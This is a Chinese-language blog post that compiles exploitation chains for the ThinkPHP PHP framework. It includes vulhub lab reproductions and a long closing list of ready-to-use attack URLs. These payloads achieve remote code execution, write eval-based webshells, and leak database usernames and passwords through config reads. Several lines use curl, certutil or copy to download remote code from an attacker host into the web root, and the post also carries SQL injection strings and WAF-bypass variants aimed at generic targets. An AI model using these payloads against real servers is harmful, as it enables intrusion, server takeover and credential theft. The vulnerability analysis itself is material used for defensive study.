首页 > 编程语言 >ThinkPHP全系列利用

ThinkPHP全系列利用

时间:2023-10-08 10:36:05浏览次数:58  
标签:index http vars 漏洞 利用 ThinkPHP php 全系列

0x01 组件介绍

1.1 基本信息

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

1.2 版本介绍

ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示:

0x02 高危漏洞介绍

通过对ThinkPHP漏洞的收集和整理,过滤出其中的高危漏洞,可以得出如下列表:

从上表数据来看,ThinkPHP 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。
从中可以看出,ThinkPHP近年出现的高风险漏洞主要存在于框架中的函数,这些漏洞均需要在二次开发的过程中使用了这些风险函数方可利用,所以这些漏洞更应该被称为框架中的风险函数,且这些风险点大部分可导致SQL注入漏洞,所以,开发者在利用ThinkPHP进行Web开发的过程中,一定需要关注这些框架的历史风险点,尽量规避这些函数或者版本,则可保证web应用的安全性。

0x03 漏洞利用链

3.1 暴露面梳理

根据ThinkPHP的历史高危漏洞,梳理出分版本的攻击风险点,开发人员可根据以下图标,来规避ThinkPHP的风险版本,如下ThinkPHP暴露面脑图。

3.2 利用链总结

基于暴露面脑图,我们可以得出几种可以直接利用的ThinkPHP框架漏洞利用链,不需要进行二次开发。

3.2.1 ThinkPHP 2.x/3.0 GetShell


ThinkPHP 低于3.0 - GetShell
ThinkPHP 低版本可以使用以上漏洞执行任意系统命令,获取服务器权限。

3.2.2 ThinkPHP 5.0 GetShell


ThinkPHP 5.0.x - GetShell
首先明确ThinkPHP框架系列版本。
根据ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。

3.2.3 ThinkPHP 5.1 GetShell


ThinkPHP 5.1.x - GetShell
首先明确ThinkPHP框架系列版本。
根据ThinkPHP版本,如是1.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞1,无需登录,即可执行任意命令,获取服务器最高权限。
如需使用ThinkPHP 5.x远程代码执行漏洞2,则需要php文件中跳过报错提示,即 文件中有语句:“error_reporting(0);”,故该漏洞在5.1.x系列版本利用需要满足以上前提,利用较难。

0x04 高危利用漏洞分析

从高危漏洞列表中,针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。
从高危漏洞列表中,针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。

4.1 ThinkPHP 2.x/3.0远程代码执行漏洞

4.1.1 漏洞概要

漏洞名称:ThinkPHP 2.x/3.0远程代码执行
参考编号:无
威胁等级:高危
影响范围:ThinkPHP 2.x/3.0
漏洞类型:远程代码执行
利用难度:简单

4.1.2 漏洞描述

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架。Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数,使得preg_replace第二个参数就会被当做php代码执行,导致存在一个代码执行漏洞,攻击者可以利用构造的恶意URL执行任意PHP代码。

4.1.3 漏洞分析

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由,我们都知道,preg_replace的/e模式,和php双引号都能导致代码执行的,即漏洞触发点在102行的解析url路径的preg_replace函数中。代码如下:

该代码块首先检测路由规则,如果没有制定规则则按照默认规则进行URL调度,在preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串。
正则表达式可以简化为“\w+/([^/])”,即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码,在PHP中,我们可以使用${}里面可以执行函数,然后我们在thinkphp的url中的偶数位置使用${}格式的php代码,即可最终执行thinkphp任意代码执行漏洞,如下所示:

index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}

由于ThinkPHP存在两种路由规则,如下所示

  1. http://serverName/index.php/模块/控制器/操作/[参数名/参数值...

  2. 如果不支持PATHINFO的服务器可以使用兼容模式访问如下:

  3. http://serverName/index.php?s=/模块/控制器/操作/[参数名/参数值...]

也可采用 index.php/a/b/c/${code}一下形式。

分析:ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行 - FreeBuf网络安全行业门户

4.1.4 漏洞复现

环境搭建

/vulhub/thinkphp/2-rce
docker-compose up -d

验证漏洞

http://192.168.1.21:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.1.21:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}

工具利用

ThinkphpGUI 2020HackingClub线下典藏版


使用工具不能getshell
上传一句话木马
http://192.168.1.21:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}


菜刀连接
http://192.168.1.21:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))} 密码1

蚁剑连接

4.2 ThinkPHP 5.x 远程代码执行漏洞1

4.2.1 漏洞概要

漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
参考编号:无
威胁等级:严重
影响范围:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
漏洞类型:远程代码执行
利用难度:容易

4.2.2 漏洞描述

2018年12月10日,ThinkPHPv5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。此次漏洞由ThinkPHP

v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。由于ThinkPHP
v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

4.2.3 漏洞分析

本次ThinkPHP
5.0的安全更新主要是在library/think/APP.php文件中增加了对控制器名的限制,而ThinkPHP
5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了对控制器名的限制。

分析过程:ThinkPHP 5.x RCE分析_0verWatch的博客-CSDN博客_rce分析

4.2.4 漏洞复现

环境搭建

/vulhub/thinkphp/5-rce
docker-compose up -d

验证漏洞

http://192.168.1.21:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

http://192.168.1.21:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami


写入webshell

<?php eval($_POST[zcc]);?> #需要进行url编码

http://192.168.1.21:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

连接 http://192.168.1.21:8080/zcc.php 密码 zcc

工具检测


http://192.168.1.21:8080//peiqi.php Pass:peiqi

4.3 ThinkPHP 5.x 远程代码执行漏洞2

4.3.1 漏洞概要

漏洞名称:ThinkPHP 5.0.x-5.1.x远程代码执行漏洞
参考编号:无
威胁等级:严重
影响范围:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
漏洞类型:远程代码执行漏洞
利用难度:容易

4.3.2 漏洞描述

2019年1月11日,某安全团队公布了一篇ThinkPHP
5.0.远程代码执行漏洞文档,公布了一个ThinkPHP 5.0.远程代码执行漏洞。文章中的该漏洞与2018年12月的ThinkPHP
5.0.*远程代码执行漏洞原理相似,攻击者可利用该漏洞在一定条件下获取目标服务器的最高权限。后经研究,在一定条件下,ThinkPHP
5.1.x版本也存在该漏洞,在满足条件的情况下,攻击者可利用该漏洞执行任意代码。

4.3.3 漏洞分析

该漏洞的漏洞关键点存在于thinkphp/library/think/Request.php文件中:

分析过程: ThinkPHP 5.x 远程命令执行漏洞分析与复现 | PHP 技术论坛 (learnku.com)

4.3.4 漏洞复现

环境搭建

/vulhub/thinkphp/5.0.23-rce
docker-compose up -d

验证漏洞


命令执行

getshell

4.4 Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

4.4.1 漏洞概要

漏洞名称:Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
参考编号:无
威胁等级:严重
影响范围:ThinkPHP < 5.1.23
漏洞类型:SQL注入漏洞和敏感信息泄露漏洞
利用难度:容易

4.4.2 漏洞描述

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

4.4.3 漏洞分析

分析过程: ThinkPHP5 SQL注入漏洞 && 敏感信息泄露【通过】 - 账号审核 - 90Sec

4.4.4 漏洞复现

环境搭建

/vulhub/thinkphp/in-sqlinjection docker-compose up -d

验证漏洞

0x05 漏洞总结

下面是别人总结绕过的,未测试。

5.1 thinkphp 5.0.5

waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤

http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

5.2 thinkphp 5.0.10

(post)public/index.php?s=index/index/index
(data)s=whoami&_method=__construct&method&filter[]=system 

5.3 thinkphp 5.0.11

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

5.4 thinkphp 5.0.14

eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
 
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

5.5 thinkphp 5.0.18

windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
 
使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
 
由于根目录没写权限,所以写到uploads

5.6 thinkphp 5.0.21

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
 
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5.7 thinkphp 5.0.22

http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5.8 thinkphp 5.0.23

(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
Debug模式
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

5.9 thinkphp 5.1.18

http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
 
所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

5.10 thinkphp 5.1.*

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

5.11 thinkphp 5.1.和5.2和5.0*

 (post)public/index.php (data)c=exec&f=calc.exe&_method=filter 

5.12 thinkphp 未知版本

?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27 index.php?s=/home/user/cut/id/1%27 index.php?s=/home/service/index/id/1%27 index.php?s=/home/pay/chongzhi/orderid/1%27 index.php?s=/home/pay/index/orderid/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/detail/id/1%27 index.php?s=/home/order/cancel/id/1%27 index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+ POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

5.13 当php7以上无法使用Assert的时候用

 
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
有上传图片或者日志用这个包含就可以

参考

  1. thinkphp漏洞分析与总结 · Drunkmars's Blog
  2. thinkphp漏洞分析和总结 - 文章整合 (chowdera.com)
  3. ThinkPHP框架漏洞总结 - FreeBuf网络安全行业门户
  4. ThinkPHP 5.x RCE分析_0verWatch的博客-CSDN博客_rce分析
  5. ThinkPHP 5.x 远程命令执行漏洞分析与复现 | PHP 技术论坛 (learnku.com)
  6. ThinkPHP5 SQL注入漏洞 && 敏感信息泄露【通过】 - 账号审核 - 90Sec

标签:index,http,vars,漏洞,利用,ThinkPHP,php,全系列
From: https://www.cnblogs.com/uf9n1x/p/tp.html

相关文章

  • 如何利用动态配置中心在JavaAgent中实现微服务的多样化治理
    本文分享自华为云社区《如何利用动态配置中心在JavaAgent中实现微服务的多样化治理》,作者:华为云开源。  一、前言随着JavaAgent在微服务治理方面的广泛应用和发展,我们可以在运行时对微服务进行监控、管理和调整,以满足不同的业务需求和运行环境。然而,随着微服务架构的复杂性增加,......
  • 利用LNMP实现wordpress站点搭建
     #环境准备:nginx+php+wordpress10.0.0.152mysql+redis10.0.0.162#在10.0.0.162编写脚本实现mysqk数据库一键安装[root@localhost~]#catinstall_mysql.sh#!/bin/bash##********************************************************......
  • 视频融合平台EasyCVR利用视频监控系统构建智能读表产品应用解决方案
    安防视频监控平台EasyCVR是一个具有强大拓展性、灵活的视频能力和轻便部署的平台。它支持多种主流标准协议,包括国标GB28181、RTSP/Onvif、RTMP等,还可以支持厂家的私有协议和SDK接入,例如海康Ehome、海大宇等设备的SDK。该平台不仅拥有传统安防视频监控的功能,还具备接入AI智能分析的......
  • HCIA-利用FTP协议管理VRP系统
    前言为了满足企业业务对网络的需求,网络设备中的系统文件需要不断进行升级。另外,网络设备中的配置文件也需要时常进行备份,以防止设备故障或其他灾害对业务产生影响。在升级和备份系统文件或配置文件时,经常会使用FTP、TFTP协议来传输文件VRP系统版本随着VRP版本的更新,VRP支持的特......
  • 利用CMD窗口查看app数据库的内容
    利用CMD窗口查看app数据库的内容一般app的数据存储都在/data/data/目录下adbshell-xcddata/data/ls(查看相关文件夹内容)cdcom.xxx.xxxxxx(一般都是app的包名)sqlite3BT.db(数据库名字)利用sql语法查看数据库表中的内容,例如:select*fromstudent;......
  • 利用不可识别的人脸来增强人脸识别性能Harnessing Unrecognizable Faces for Improvin
    灰色标记:可以日后引用的观点红色标记:好的写法、语句、单词紫色标记:文章重点黄色标记:寻常突出文章评论::创新点::主要内容::gallery中的样本通常是人为采集并精心挑选的,它们具有较好的可识别性;然而,query通常来自于真实场景,它们受多种因素干扰如像素等等。......
  • 视频监控/监控汇聚平台EasyCVR如何利用视频汇聚技术助力智慧养殖
    传统的养殖方式成本高、产量低、风险高、收益低,辛苦不赚钱。畅发科技智慧水产养殖系统,集成智能传感器、视频监控设备,融合物联网技术、视觉分析技术、大数据技术,实现自动巡塘、水质环境监测、联动控制和养殖全过程管理,帮助养殖户提升数字化水平,提升养殖效率,真正实现降本增效提质绿......
  • 前端利用fetch实现服务器健康检查
    最近公司赛事较多,一些大型赛事部署了多台服务器,为了实时了解的运行状态,保障服务器正常运行,我用前端实现了一个服务器健康检查程序,可设置自动轮询检查或手动检查。使用fetch发送ajax请求(服务器需要设置允许跨域),判断请求状态和结果来得出正常、超时、连接失败状态。代码使用vue3了......
  • 国标GB28181视频平台EasyCVR利用视频汇聚技术助力发觉人员区域入侵
    TSINGSEE青犀视频人员/区域入侵功能能够对关键区域进行实时监测,实现全天候的监控和管控。当系统监测到有人员接近或闯入监控区域时,AI算法会立即发出告警并通知管理人员,以从被动的"监督"变为主动的"监控",实现事前预警、事中检测和事后规范处理,大大提高了监控区域的管控效率。  ......
  • 利用PHP的数组splice方法进行高效数据删除和插入
    PHP数组是一个非常强大的数据结构,它可以存储多个值,并按照需要对这些值进行添加、删除或修改。在PHP中,我们可以使用splice方法对数组进行删除和插入操作,以实现高效的数据操作。本文将介绍如何使用数组splice方法进行数据删除和插入,并给出示例代码。一、使用splice方法进行数据删除......